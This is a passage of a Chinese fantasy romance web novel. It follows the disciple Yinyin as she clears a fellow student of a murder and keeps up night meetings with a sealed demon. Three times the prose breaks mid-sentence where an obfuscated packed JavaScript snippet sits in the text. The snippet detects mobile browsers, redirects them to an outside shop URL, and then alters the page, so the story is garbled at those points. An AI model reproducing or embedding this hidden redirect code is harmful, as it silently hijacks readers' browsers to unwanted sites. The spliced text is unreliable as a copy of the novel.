许茂山置若罔闻,没有抬眼看来。 赵衍还未清醒,他的好兄弟吴胜简单交代了这场冲突发生的过程。 三人在弟子舍碰上,赵衍想到陈驿之死,忍不住唾骂了许茂山几句,没想到以前一声不吭的怂包这回直接会拿出刀捅人。 言为心听不下去这愚蠢又废物的措辞,教训两人:“你们个个都有剑,挂在腰间是当好看吗。” 面对虚渡宗公认的冰山美人,吴胜被骂的脸一红。 “言师姐,许茂山当时就跟被什么脏东西附身一样,怪吓人的。也许他就是那脏东西,之前隐藏得太好,一旦发现他真面目的弟子就会遭遇不测。” 方涧洄敏锐指出:“所以你们发现什么了?” 吴胜一人扛不住审问压力,心一横,全盘招供:“许茂山他从前是被林中妖物养大的!我能说的都说了,方师兄你一定不能再放他出思过牢害人啊!” 宁筝:“什么叫被妖物养大的?” “是陈驿说的,他知道的比我们多,所以才被害死!再说吸食灵力不就是妖术吗!” 音音快被这哼哈二将烦死了。 显然其他人也隐忍不发,草草打发吴胜。 思过牢由执教长老华屏负责看守和审讯,只方涧洄得到应允进入,音音等人候在外面。 言为心在擦拭她那柄瑰丽流光的冰心剑,处惊不变。宁筝蹲着啃不知从哪儿掏出来的点心,还大方地问音音要不要也来一口。 音音没胃口,谢绝了。 “小师妹你干嘛这么多愁善感的?”宁筝计较起来,“莫非你对那位许师弟有意思啊?还连小小名都告诉人家了。” 言为心:“什么小小名?” “音音,除了小名阿椿,小师妹还有个小小名叫音音。” 快闭嘴吧你! 音音耸肩:“我只是觉得他有点可怜。” 言为心清醒发言:“可怜也不代表他不会做坏事。” 宁筝附和:“就是,要是哪天有个十恶不赦的大魔头在你面前扮可怜,你难道就要原谅他相信他吗?可不能这么天真。” 音音心口有种莫名其妙的感受,扭头嘴硬道:“我不会的。” 暮色将近,残阳如血。 方涧洄从不辨昼夜的思过牢踏出,三人等的太阳都下山了。 他带来的第一句话是:“许茂山已经承认了。” 音音一愣:“哪件事?” “所有事。” “不可能!” 音音反应太大,方涧洄皱起眉。 “小师妹为何如此笃定?” “至少陈驿绝不是他杀的,昨夜子时,玄铁黑剑催发出最后一道剑意,可那时候他分明待在我身边。” 宁筝:? 言为心:? 吃到瓜了。 音音心底发虚,好像从前门禁之后还在外面玩,被父母当场抓包。 方涧洄握紧洄光剑:“你们?” “我们半路正好碰上了,聊了一会儿之后他送我回万籁峰。” “小师妹大半夜出万籁峰做什么?” 音音扶了扶额角,又开始飙演技:“我最近失眠很严重,昨天晚上月光正好,便想出去走走。” 方涧洄盯她良久:“小师妹你年少单纯,千万要警惕所遇之人。” 音音乖巧地点点头。 宁筝不解:“不是他干嘛要承认啊?嫌命太长?” 言为心:“大师兄,许茂山有没有说他是怎么做到这一切的?” 方涧洄答:“侍魂禁术。” 这四个字 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745260|189855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一出来,空气都安静了。 所谓侍魂禁术,是指催生心魔并与之共生,让出三魂只留七魄,魂灵而魄愚,以灵魂与心魔交易,稍有不慎便会被反噬,成为非魔非人的异类,受炼狱折磨,永生永世不入轮回道。 宁筝打破沉默:“他上哪儿学的?这些禁术不早就失传了吗?” 方涧洄摇头:“问不出。” 修炼之人的心魔大都是经历某事之后自然产生,而强制催生出的心魔需要供养,不可避免地会操控宿主去吸食大量灵力。 音音指出不合理:“可就算是侍魂禁术,也做不到远程操控吧?他不惜催生心魔所求的又是什么呢?” 阴差阳错,她先前看过的那本魔族记事恰好有关于此禁术的记载,所以才勉强能参与几人的对话。 心魔离不了宿主,所有行动都要依赖宿主。 两者属于共生共灭的关系。 方涧洄沉吟:“但前提是,那时跟小师妹待在一起的人确实是他。” 音音抿唇,她无法想象,大半夜傻傻抱着几个馒头和书本的少年会偷学这种禁术。许茂山当时那么认真地说出虚渡宗是他的家,又怎么会干伤害同门之事? 线索链上缺了重要的一环。 * 音音又一次在夜晚去了趟静山。 许茂山已被压入思过牢严加看守,如果今晚那堆白骨还是有异常举动,就说明其不是受侍魂禁术的影响,还需要再查出更多线索才行。 当音音再次靠瞬移术出现在茅草屋内,沈宴离略有意外。 他没有像上次那样装睡,而是端坐在床沿,一双比夜色更深的黑眸直勾勾盯着她看:“你当我这是什么地方,想来便来?” 沈宴离语气是沉的,像淬了冰。 音音跟他犟嘴:“你这里连门都没有,不就是让我想来就来的意思。” 这么凶神恶煞的,不就是白天抢了他一只兔子吗,小气鬼! 沈宴离闭上眼,呼吸有不易察觉的紊乱。 音音自讨无趣地撇了撇嘴,往椅子上一坐,赖着不走:“喂,你不是想听铃铛声吗?我特意来摇给你听。” 沈宴离不搭话。 黑暗中,忽有一圈淡淡荧光亮起,蒙于他衣摆之下,缚魔链在他左脚踝位置展露出法器形态,色泽透明,像似有若无的光晕。 音音磕巴问:“你、你怎么了?” 缚魔链只在魔气溢动时才出现,她嘴是坏了点,但原书里一个毁天灭地的终极反派,也不至于这么脆吧。 “不就说了你两句……” 这阈值也太低了。 沈宴离不耐道:“闭嘴。” 于是音音用铃铛声代替了说话,刚不得章法地摇动两下,缚魔链的光亮就明显变暗淡。两件玄圣法器相辅相成,有缚魔链在,渡音铃不至于感知到沈宴离身上四溢的魔气而狂响。 沈宴离睁开那双泛着冷光的狭长眼睛。 额角有滴冷汗经由他眼皮垂落,滑过睫毛,沿轨迹与眼尾红色泪痣相重合。 紧接着,一道鲜血自沈宴离唇边溢出,蜿蜒而下,在流入雪白的脖颈之前被他不在意地抬手拭去。 音音赶紧停手:“对不起!我不是故意的!” 上次也没见渡音铃效果这么猛啊,把人都摇吐血了。 “与你无关。”沈宴离掀起眼帘看她。 这时,一阵冷风吹过,屋顶茅草簌簌作响,有种要被吹翻的危险,细听还能发现一道由远及近传来的咔擦咔擦声。 与昨夜一模一样。 音音顾不上吐血的沈宴离,往屋外跑去。 果然,那堆白骨又出现了。 8. 互相伤害 玲珑苑外,立着一颀长身影。 方涧洄犹豫再三,还是开口:“小师妹,你睡了吗?” 屋内亮着灯盏,火光映在窗纸上,却良久都无人应答。 “我给你带了助眠的安神香,你若失眠实在严重,可点一支在屋内。”方涧洄善解人意道,“小师妹不方便开门的话,我就把东西放在窗台上,等我走后你再出来取。” “今日之事不必想太多伤神,希望你今晚能做个好梦。” 方涧洄放下装了安神香的木檀盒,正要转身回去,旁边一间屋子门被拉开。 宁筝靠在门边,打着哈欠一脸幽怨问:“大师兄,半夜不睡干嘛呢?来找我们可爱的小师妹讨论剑法啊?”她也是仗着人脾气好,才敢嘴里没个把门的。 方涧洄神色无奈:“我给小师妹送些安神香,助她好眠。” 宁筝奇怪音音怎么不出来道谢,大大咧咧地帮忙敲门。哪知门没上锁,被她一下就给没轻没重地砸开。 房间凌乱,唯独不见人在。 昨夜虚渡宗内刚出了桩命案,虽说凶手已关入思过牢,但此案疑点重重,眼下半夜出门可不是个明智之举。 更何况是还在初窥境的音音。 方涧洄神色凝重:“找。” 宁筝困意顿消,点了点头。 * 音音远在静山,几乎同时感知到识海传音和同心应。 她知道今晚怕是要完,准是跑出来的事被谁给逮住了。 白骨一步步靠近,音音头皮发麻,正要去摇渡音铃,一只冰凉的手将她摁住。 沈宴离不知何时来到身后,嗓音低沉:“你对这堆恶心的骨头就如此感兴趣?” 音音转头,发现沈宴离脸色格外苍白,左眼尾那颗红色已泪痣消失不见,刚吐过血的缘故,唇畔色泽倒是鲜红,瞧着软如樱瓣。 “昨晚这堆骨头被你打散之后,今天又重新变成这样了是吗?” “嗯。” “它们从什么时候开始这样的?” 沈宴离玩味地冷笑:“你来过之后。” 在音音进入过密林之后,这堆白骨就如同活了一般,专挑她来的夜晚出没。 每回都坏他好事,事不过三,他已不打算再忍。 音音眼中透着迷茫:“我?” “也许你身上有它们想要的东西。” 沈宴离漫不经心掷出一纸符咒。 就像他暂时不杀音音,也只是因为她还有可利用之处。 这回音音目睹了符咒霎时间幻化出多道击向白骨的全过程,不敢相信大魔头现在就已经这么强了:“你这什么符咒?为何静山结界对这个不起作用?” 沈宴离食指压到音音唇上,堵住她的话。 “好奇害死猫,你想当死猫么?” 音音:“……” 谁告诉你这句话是这么断的了?! 识海传音和同心应还在不断发出感应。 音音已验证了白骨并非许茂山操纵,着急回去,却再次被沈宴离拉住。 “要走?” 音音说瞎话:“我想起房间烛火未熄,天干物燥的很危险。” “不许。”沈宴离眼神暗下,“你要摇铃铛给我听。” 堂堂大魔头怎么还和小孩一样耍性子! 音音推辞:“还摇?你刚都吐血了。” 说到这,她心里平衡了,一物降一物,就算大魔头再强,摇两下渡音铃也还是要在她面前吐血。 沈宴离脸色冷下来:“我说了与你无关。” 嚯,还嘴硬。 “摇多久?” “整晚。” “适可而止懂不懂?” “不懂。” 音音差点忘了,这还是个文盲大魔头。 理解不了成语很正常。 音音打商量:“明晚行不行?今晚我真得回去了。” 沈宴离:“我凭什么——” “你不信我是吧?我跟你拉钩。”音音勾过沈宴离修长的手指,强势地摁下指印,絮絮念叨,“这样的话,骗你我就是小狗。” 沈宴离抽回手:“无趣。” 他想说的分明是凭什么要放她走。 音音扫过沈宴离滑落的那截衣袖,袖口短了半截,露出雪白腕骨,第一次见面她就注意到了这身衣服的破旧不合身,许是沈宴离从哪位死在密林中的虚渡宗弟子身上扒下来的。 穿死人衣服,也不嫌晦气。 沈宴离打断她思绪:“明晚你若不来,我会杀了你。” 音音嘀咕:“反正你早晚都会杀了我。” 两人不就是你死我活的关系。 未等沈宴离再说什么,音音转身朝山下跑去,打算出了结界就施瞬移术回玲珑苑。 沈宴离的声音忽从背后传来:“你叫什么?” 音音头也不回地挥挥手:“记住啦,我叫音音。” 沈宴离垂眼,瞧了瞧张开的掌心,又如牢牢抓住什么一般握紧。 有了名字,天涯海角他就总能找到她。 * 房中烛火已熄,伸手不见五指。 音音猫着腰进门,一转身,火光顿时亮起。小桌旁左右两边各坐着方涧洄和宁筝,平时最没脾气的两个人,此刻都不苟言笑。 完蛋。 大型审讯现场。 方涧洄打破沉默问:“小师妹又失眠了吗?” 音音揉揉眼睛,装模作样点头。 宁筝幽怨地撑着下巴,没睡醒脾气很差:“那小师妹是逛到哪儿去了?能找的地方都没找到,识海传音和同心应也不接收。” 音音小声道:“我说了能不挨骂吗?” 方涧洄:“说。” “我今晚在静山又看见了那堆白骨!”音音心一横,该说不该说的全抖了出来,“这就说明那些白骨与侍魂禁术无关吧,那是不是可以洗脱许茂山的嫌疑?” “小师妹你——” 宁筝瞥见方涧洄奇差无比的脸色,话到嘴边转了个弯:“小师妹你这么三番五次进入静山,就没有撞见里面关着的那位?” “没啊,没见过,我怎么会见过他!” 方涧洄看了音音一眼,脸色更差了:“过来,伸手。” 音音听话照做,就算方涧洄要惩罚她打手掌心也认了。长兄如父,大师兄自然也可以代替南青风教导她。 方涧洄抬手,一道灵力丰沛的光芒自他手中运出。 用灵力打人肯定很疼,音音紧闭双眼,感到掌心稍烫,传入源源不断的暖流。 咦,好像不是在打她? “我结下一道护身印,下次遇到危险可护你一次周全,许茂山的事你不必再插手。事不过三,若小师妹下次再敢偷跑去静山,我会直接代师尊罚你。” 音音眼睛热热的,大师兄真是个好人,好到她下次还敢。 宁筝指着桌上那个木檀盒说:“喏,大师兄给你送的安神香,小师妹晚上别乱跑了,点一支老老实实睡会儿觉不好吗?” 音音挤了几滴眼泪出来,哽咽道:“谢谢大师兄。” 方涧洄摇摇头起身,宁筝看不下去也起了身,两人一并告辞。 音音眼泪未收,清脆的嗓音回荡在夜色中:“大师兄晚安!二师姐晚安!” 人未走远,门扉已啪一声合上,没心没肺。 毛茸茸的影子映在窗纸上,头顶一撮呆毛翘起,屋内之人放松地伸了个懒腰。 宁筝叹了口气:“大师兄,小师妹是不是跟以前不太一样?” “她确实是我们的小师妹。”方涧洄看着那道影子,凝眸肯定,“以前小师妹深居简出,跟我们接触也不多,到底是什么性格连我也说不准,不过以后我们应该就能慢慢了解她……” 宁筝点点头:“大师兄,我信你。” 反正她也喜欢小师妹现在的样子,以前总感觉和小师妹有层隔阂,不太亲密。 而现在这层隔阂正慢慢消失,小师妹好像已经开始融入他们了,总归是件好事。 * 第二天夜里,音音不敢顶风作案,先点上安神香真睡了一觉,醒来后又在被子下面塞了几个枕头,才施展瞬移术前去静山。 茅草屋内不见沈宴离身影,音音唤了几声,无人应答。 她去周围找了一圈,绕过树底时,脑袋一疼,仿佛被掉落的小石头砸到,伸手却在发梢间摸出一片薄薄的树叶。 抬头看去,枝杈掩映间,沈宴离懒散地靠坐在树上,手中正把玩一片树叶。 那片树叶径直朝音音丢来,被她闪身躲开:“干什么!” 沈宴离的视线居高临下:“你迟到了。” 音音不满:“迟到就迟到嘛,又不是不来,高空抛物是犯法的知不知道。” 沈宴离从树上一跃,轻盈落地,给音音使了个眼神叫她跟上。 寒潭无波,水雾似幻。 这是两人初次相见的地方。 沈宴离解下外袍丢给音音,抬脚迈入水中,带起哗啦水声。 音音嫌弃地用一个指头勾着那件破旧寒酸的外袍:“你怎么随随便便就脱衣服?大半夜洗什么澡啊?” 沈宴离不作解释:“你留在岸边摇铃铛便可。” 音音试了下水温,冰到刺骨。 静山这么冷,这水又这么冰,大魔头可真能忍。 隔远了距离,音音看不见沈宴离左眼尾慢慢浮现的那颗诡异的淡红泪痣。 她刚摸到腰间的铃铛,忽听对面淡声开口:“有人。” 音音心一惊,朝四周望,透过树影瞥见一抹白袍和一柄闪着银光的剑。 那剑越看越眼熟,剑身盈着月华,分明是洄光剑。 来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745261|189855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者是方涧洄! 四周除了水底,哪里还有躲的地方。 音音抱着沈宴离的外袍猛扎进寒潭,冷意瞬间侵袭了她四肢百骸。每朝潭中央靠近一点,骨头就像被刀磨过一遍,太疼了。 沈宴离没想到音音会做出此举,皱眉间,音音已从身边的水面钻出,冻得唇畔发抖,眼睛红红,泛白的手指紧攥住他衣襟,气若游丝。 “躲……躲起来。” 说完,音音就要把他一同拉进水底。 沈宴离阻止了音音往下潜的动作,单手在她腰侧拦着:“你想憋死?” 音音两边唇角向下弯,恳求的眼神望向沈宴离。 寒潭水面漂浮着朵朵荷花,碧绿荷叶大片舒展,占去不少面积。 沈宴离带着音音往荷花深处游去,直至接天荷叶挡住两人半个身子,站在岸边难于窥探到此处光景。水面波纹消失,一切再度回归平静。 方涧洄适才出现在岸边,白袍银剑,清朗如月。 他察觉到寒潭有一丝气息与众不同,警惕地停下观望。 沈宴离观察着音音的反应,低下头,气息拂过她耳畔:“是谁?” 音音立刻抬手捂住了沈宴离的唇,瞪去一眼。 她都不敢呼吸了,这人居然还同她搭话。 沈宴离的下半张脸被挡住,音音只见到他狭长的眼睛略微弯起,表情似笑非笑。 音音心脏狂跳,有种不好的预感。 几次交手让她意识到这小子笑了准没好事,说明他要使坏了。 果然。 沈宴离拦在音音腰侧的手不动声色收紧,防止她待会儿逃跑,而后喉结滚了滚,像狼似的用牙齿叼住了音音掌心的一块软肉,狠狠咬了下去。 好疼!! 音音眼泪一下子飚出来,勉强才忍住不出声。 她想往后退却又退不开,干脆往前一贴,管不得许多,报复性地朝沈宴离裸露在外的颈侧肌肤咬下去。 来啊,互相伤害! 汝牙利,吾牙未尝不利! 沈宴离的心情许久都不似今夜这般愉悦,这种嗜血的快感使他兴奋,他好像尝到了鲜血,味道竟是甜的,便忍不住伸出舌头舔了一下。 音音牙齿放松,眼睛睁得圆圆的。 靠这变态居然舔她?! 好在方涧洄已从岸边离开,音音抽回自己鲜血淋漓的手,小声痛骂:“你是狗吗?!” 沈宴离指腹擦过唇边:“你的血很甜。” 语气平波无澜,也毫无情感,只是在客观描述事实。 音音沉不住气,反手就甩了沈宴离一耳光:“变态!” 沈宴离眼底寒光闪过,泪痣的红色隐隐加深,水面之下,缚魔链散出一圈光晕。 音音还在心疼自己被咬破的手,对危险毫无察觉。她往岸边游去,着急回去疗伤,忽然就被扯了一下,手心不慎沾到冰凉的水,疼的要命。 “你走不了。” 被迫和沈宴离面对这面,音音才发觉他似乎有些不太对劲,气场沉得可怕。 音音赶紧摸到渡音铃摇晃起来,沈宴离眼底恢复一点清明,看清面前红了鼻子和眼睛的小姑娘,狼狈地在掉眼泪。 又哭。 沈宴离心中没由来地烦躁,视线落到那只被咬出血来的白嫩掌心。 于是他掐住音音手腕,拽进水中,任她怎样挣扎都不肯松手。 水面激出阵阵涟漪,水下是两只相互交叠的手。 血液融进水里,泛起妖冶的红色。 生理性的疼痛使音音眼泪掉个不停,沈宴离不喜她这副模样,手指点了下颈侧那个牙印,俯身主动凑近她道:“疼就咬着。” 音音不明白沈宴离此举为何,也没力气再咬他,额头软软枕在他肩上,无力地摇了几下渡音铃,祈祷大魔头能早点心软放过她。 良久,许是疼到了麻痹神经,痛感在逐渐消失。 沈宴离终于肯松开音音的手,往上抬出水面,却见掌心那道伤口已然愈合,皮肉完好,连牙印痕迹都浅淡不少。 音音眨了眨润湿的眼睫,好像有点明白了。 怪不得这水那么冰,沈宴离还老泡在里面,原来是有疗伤功效。 但想到刚经历的一番彻骨之痛,她倒宁愿伤口慢点好。 音音缓过神来问:“你哪里受伤了?” “与你无关。”沈宴离收回拖住音音的手,疏离冷淡,“既然好了,便继续摇你的铃铛。” “不行!我大师兄还在静山,会被他听见的。我本就是偷偷跑来找你的,被他知道就死定了。再说,你也不想和他碰面吧?” 沈宴离的耐心所剩无几。 这小姑娘当真是个麻烦精。 他推开音音,闭上眼,一副要入定的姿态。 最后一句话是:“你留下,等他走了再说。” 9. 水落石出 天色微晞,音音才回到玲珑苑。 沈宴离说是整晚还就是整晚,死活不肯放走音音,搞得她第二天精神不振。 学堂内,音音不时扫方涧洄两眼,好奇他昨晚是否在静山查到什么。 方涧洄面上不显,询问传入音音识海:【小师妹何故看我?】 音音旁敲侧击:【大师兄,你昨晚是不是没睡好呀?看你黑眼圈挺重的,要不安神香我再匀一半还给你?】 方涧洄弯唇微笑,早已摸透她的心思:【若小师妹是想问许茂山的事,我可以告诉你,白骨确实与他无关。我已将查到的禀告给华长老,思过牢的刑罚接下来也不会用到他身上。】 【大师兄,你昨晚也看见那些白骨了吗?!】 未等来方涧洄的回答,面前的桌板先被莫临渊敲了敲,他以眼神警告两人认真点,别在他眼皮底下暗度陈仓。 识海传音中断,方涧洄看了音音一眼,轻轻点头。 昨日师尊在他身上施下了护灵符咒,应允他独身进入静山。他起初是听到了水边动静,赶去时却风平浪静,随后又听见一阵嘈嘈切切的骨节摩擦声。 随即便见到了十几副骨架在月色下行走的诡异画面。那些骨架像是被操纵般,整齐划一地往水边方向,好像那里有什么吸引它们的东西。 不仅如此,方涧洄还查探到了音音口中那个长着迷萝花的密林,其中魔障沼气四溢,果真存在一个连接着弟子舍的低矮洞口。 魔障沼气可滋养出许多精怪,比如魔魈,他们能纯熟炼化魔障沼气,比一般的山魈更为邪恶可怖,操纵白骨想来也不在话下。 想到上次音音误闯此地,方涧洄就觉一阵后怕。 还好小师妹平安无事。 好不容易捱过一堂课,音音拉着方涧洄问:“大师兄,我能不能去思过牢看看许茂山?就是看看他,绝不是要插手这件事!而且说不定我能问出点有用的信息。” 方涧洄让步:“这我做不了决定,要问华长老的意思。” 音音马上接道:“那你下次帮我问问。” 然而下次没有等很久,傍晚音音刚和宁筝从鼎食居风残云卷饱餐一顿之后,立刻就被方涧洄御剑带去了思过牢。 牢门深重,由一条不见底的黑暗甬道贯穿,两壁烛火昏暗,照亮稀奇古怪的蚀刻符文。 音音一进来就闻见空气中弥漫的血腥气息,刚吃过的晚饭差点呕出来。 方涧洄扶了音音一把,轻声询问她是否要回去。 音音果断摇头,见迎面走来一红衣女子,衣着干练,肤色是常年不见光的白皙,长发由一根乌木簪子固定,五官带点异域风情,腰间还系着根寸长的短鞭。 方涧洄颔首:“华长老。” 走近后,华屏的眼神唯独落到音音身上,细细打量。 见音音呆愣,方涧洄提醒:“小师妹,要喊姑姑。” “姑姑?” 话音刚落,华屏张开双臂,将音音揽入怀中:“阿椿,好久不见你了,近来身体可好?” 音音不自然地摸摸鼻尖:“姑姑,我挺好的。” 怎么全宗门上下都知道南椿是个病秧子…… 华屏心疼地抚过音音头发:“思过牢潮湿阴暗,怨气太重,你不该来的,姑姑就是心一软才答应了你这小丫头。” “多谢姑姑。” 许茂山早已被压入干净的狱房,染血的弟子袍也被换下,除了伤势暂时无法痊愈外,让人看不出这思过牢到底有多恐怖。 音音只身进入狱房。 许茂山对音音的到来感到意外,毫无血色的脸上有了情绪波动,起身时牵扯到锁在他手脚踝上的铁链,发出刺耳声响。 “音音……师姐。” 音音勉强扯起笑脸:“我给你带了药。” “谢谢。” 狱房没有桌椅,音音将瓶瓶罐罐小心放到地面:“我们已经查清了,白骨之事与你无关,侍魂禁术你也是瞎说的对吧?再等两天,等事情完全查清,你马上就能出去了——” 许茂山忽然打断:“我都认罪了,为什么你们还要查下去?” 音音一愣:“因为我们需要知道真相,给死去的宗门弟子们一个交代。” 这个理由多少有些冠冕堂皇,她起初想查这件事的原因只是怕沈宴离卷入其中,哪怕现在……亦是如此。 许茂山气息微弱地笑出声:“音音师姐,我给你讲个故事吧。” 音音不嫌地面脏污,盘腿坐下,静静地听。 “从前有一个婴儿被丢弃在山林间,没有落入虎狼之腹,而是意外地由林中精怪抚养长大,他自然而然地能听懂精怪的语言,学习精怪的行为举止,也渐渐的……把精怪当做父母。” 说到这,许茂山看了音音一眼,见她表情认真才继续讲下去。 “后来机缘巧合,他进入仙门修炼,开始学习术法,与‘人’接触,行为举止也在潜移默化地改变。有一天当他回到林中,发现自己已理解不了那些精怪在说什么做什么,他们互相之间都对彼此到陌生。不知道是幸运还是不幸,他完全成为了人,却失去了仅有的亲情。” 一下子说了太多话,许茂山停下来喘了口气。 音音表情凝重,联系到之前搜集到的信息,好像明白了什么。 “那个婴儿就是我。” 音音有太多想问的,她心里早就打好草稿,没想到许茂山会将故事最关键的部分主动对她说出来。 “所以那些白骨与林中精怪有关吗?你承认这一切是为了帮它们脱罪?” “静山是虚渡宗禁地,自从拜入虚渡宗之后,我已经很久都没回去过了。那晚我特意去鼎食居买了馒头,打算带给它们,可却在林中见到了数十具白骨,其中有一具就是陈驿的……” 陈驿语气痛苦,难以接受:“我也不知道它们为什么会变成这样,明明它们以前只是吃一些花草野果,从来不会伤人的。” 音音被推进过静山那片密林,虽没有见到所谓的精怪,但渡音铃却感知到了肆虐的魔气,可见那地方并不简单。 “陈驿的尸体也是你带出静山的吗?为的就是不让我们查到那些精怪头上?” 许茂山点点头,艰难地开口:“音音师姐,对不起,但你能不能帮我隐瞒这一切?我愿意带它们受过。” “不可以,如果不管凶手,就会有更多无辜的人遇难,这是你想看到的吗?你不是说虚渡宗是你的家吗?” “首先它们是我的家人,虚渡宗才可以称之为家。” “那你也可以把我当家人啊!对你好的师兄师姐都可以当做家人不是吗?” 许茂山垂眼,默不作声。 音音有种无力感,据她所知,许多同门弟子对许茂山算不上友好,她凭什么要他把虚渡宗当家。 谈话陷入僵局时,狱房的门被推开。 方涧洄一尘不染地出现在眼前:“许茂山,你可知密林之中有浓郁的魔障沼气?那些抚养你长大的林中精怪正是山魈,但这一切并不是它们做的,吸食灵力、操纵白骨,皆是魔障沼气滋养出的魔魈所为。” 他得确保音音的安全,一直都在暗处守着,自然将两人的对话一字不落地听了。线索链串上,他一下子就推导出了整件事的原委。 许茂山微微愣神,眼眶逐渐发红。 眼中闪过的复杂情绪是庆幸。 听方涧洄这么说,音音也松了口气。 但只是短暂的,她心又悬了,魔障沼气会跟沈宴离有关吗? 音音起头:“大师兄,那魔障沼气——” 华屏迈入狱房:“只要不入静山,魔障沼气便无法突破结界伤及虚渡宗弟子,密林中那些白骨想必是闯入了静山的弟子。他们只要一入静山便是陷入死局,不催动灵力会被魔障沼气吸食为白骨,催动灵力又会有经脉破损的风险。” 音音不敢说话。 一码归一码,进入静山和密林可不是一回事。 就像她当初主动进入静山,却是被动地被推入密林。 方涧洄沉吟:“可这些弟子去静山要做什么?” 许茂山去静山可以算探亲,何况他跟音音一样处在初窥境,自小又在密林中长大,那道结界于而言他影响不大。 “方师兄,华长老,你们可能不知道,其实每年虚渡宗新招弟子以后,就都会有几人进入静山,同那魔子……切磋讨教。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这次音音倒是安分了,没闹着要去,抱着兔子让他们多加小心。 万籁峰只剩音音一个,没想到这时南青风会将她唤入殿中。 “阿椿,过来让爹好好看看你。” 音音心里犯怵,脚步发虚,这可是亲父女,稍不留神就容易露馅。 她维持原主安静的人设,轻轻地喊了声:“爹。” 南青风眉宇间依稀可见昔日的俊朗神秀,只是略有些憔悴,看了音音半晌后,非常温柔慈祥地问:“孩子,你叫什么?” 音音不太明白地回:“爹,我叫南椿呀。” 南青风摇了摇头,表情莫测。旋即指尖运出灵力,隔空点向音音腰间的渡音铃,铃铛轻晃两下,激荡出一阵光芒。 音音被这光芒照得暖洋洋的,身心舒畅。 南青风道:“我给渡音铃解了一部分封印,你可以试着用灵力催动。” 还在初窥境的音音惶恐,她之前都是纯手动,这点灵力还能催动的了渡音铃?何况她也不知道要怎么催动啊? “试试吧,孩子。渡音铃从始至终都是你的法器,只有在你手中才能物尽其用,从现在开始集中精神,运施灵力。” 依循南青风的指示,音音闭上眼睛。 微薄的灵力如细雨般缓缓注入渡音铃,音音感知到一声纯净浩渺之音,听得人心旌摇曳,瞬间什么污浊念头都不剩了,只是想细细感受这份纯净。 好神奇的力量。 只是灵力不够,音音很快睁眼,眸光一点点回过神。 南青风正笑着凝望她,点头表示肯定。 “日后你修炼每突破一境,我便会将渡音铃的封印解除一部分,否则你的身体是无法承受这件法器力量的。” 音音茫然:“我可以吗?” 南青风在第一个字上加了重音:“你当然可以。” “那我能和师兄师姐们一起学剑吗?” 南青风摇头:“孩子,剑道一术不适合你,你若能用好渡音铃,才能达成想做的事。还有,千万不要让别人知道渡音铃在你身上,否则恐怕会招来祸患,此物是你的护身符,离了它会有诸多危险。” 音音一知半解地答应下来,她总觉得南青风好像知道点什么,至少是站在她这边护着她,为她着想的。 “谢谢爹。” 南青风抬手,摸了摸音音脑袋,眼中似有不忍。 天道预言不可违,但这次,他定会力挽狂澜护她周全。 不会重蹈覆辙,辜负了妻子的在天之灵。 10. 心魔现身 密林白骨一事总算过去,许茂山在思过牢走了一遭,又回到影次堂修炼,只是被下了道行动禁制,再也不被允许进入静山。 音音只得三天两头往弟子舍跑,劝许茂山不必太过担心,自然万物各有其生存法则,不和那些山魈见面未尝不是件好事。 直到看他心态好转,才没跑那么勤了。 正好司衣坊送来了开春赶制的新衣,虽然平日多穿弟子袍,但作为四大仙门之一,虚渡宗每年也同样会为弟子们做几套私服,这样他们外出历练时才不至于连套低调又像样的衣服都没有。 音音一改原主南椿喜欢的素淡,选的布料不是鹅黄就是粉桃和翠绿,此刻一件件成衣铺展开来,颜色朝气蓬勃。 其中唯独有套男装是纯黑颜色,领口和袖口处缀一圈雪白玉线。 这是按照方涧洄身型做出的衣服,另有件同样式的白衣已给他送去,作为安神香的回礼,至于这件…… 音音将衣服整齐折好,揣在怀里起了个瞬移术,直达静山。 事先声明,她绝不是心软才要给沈宴离送衣服,只是觉得他穿死人的衣服,每回见到渗人又碍眼,晦气得很。 夜深,静山没有迈入春天的征兆,寒凉依旧。 音音探头,冲茅草屋内的身影打招呼:“哈喽!” 沈宴离只是静坐着,脚边地面有圈磷粉似的东西。 他什么都没做,但也没搭理她,漠然地看向手掌心。 “不记得我啦?”音音郁闷。 大魔头看起来心情不太好呢。 沈宴离忽然拂开衣袖,站起身朝门口走来。 音音心生一计,改换了神情,没由来地扯住他衣袖刁难说:“喂!你又不是虚渡宗弟子,凭什么穿我们的云纹弟子袍?难看死了,赶紧脱掉!” 说完,手中的衣服便扑头盖脸朝沈宴离砸了过去,蕴含不小的力道。 对,就是这样。 激怒他,驯化他。 提高阈值,世界和平。 沈宴离没有闪避,脸色和落地的黑衣一样黑。 头回当恶人,音音有点紧张,默默在心里给自己鼓劲,嘴上却不肯放松:“愣着干嘛?赶紧啊。” 沈宴离抬脚踩到那件新衣上,看都没看一眼。 缚魔链现形了,淡红泪痣也在他左眼尾出现了。 “咦?” 音音终于很惊奇地发现了两者间的关联。 好像每回沈宴离控制不了魔性时,那颗泪痣就会莫名其妙地出现,等他平静下来又消失,简直是一个晴雨表嘛。 那颗泪痣的颜色在加深,沈宴离冰冷道:“滚远些。” “我、偏、不!” 音音笑嘻嘻地摇了两下渡音铃,拦在门口耍人玩似的。 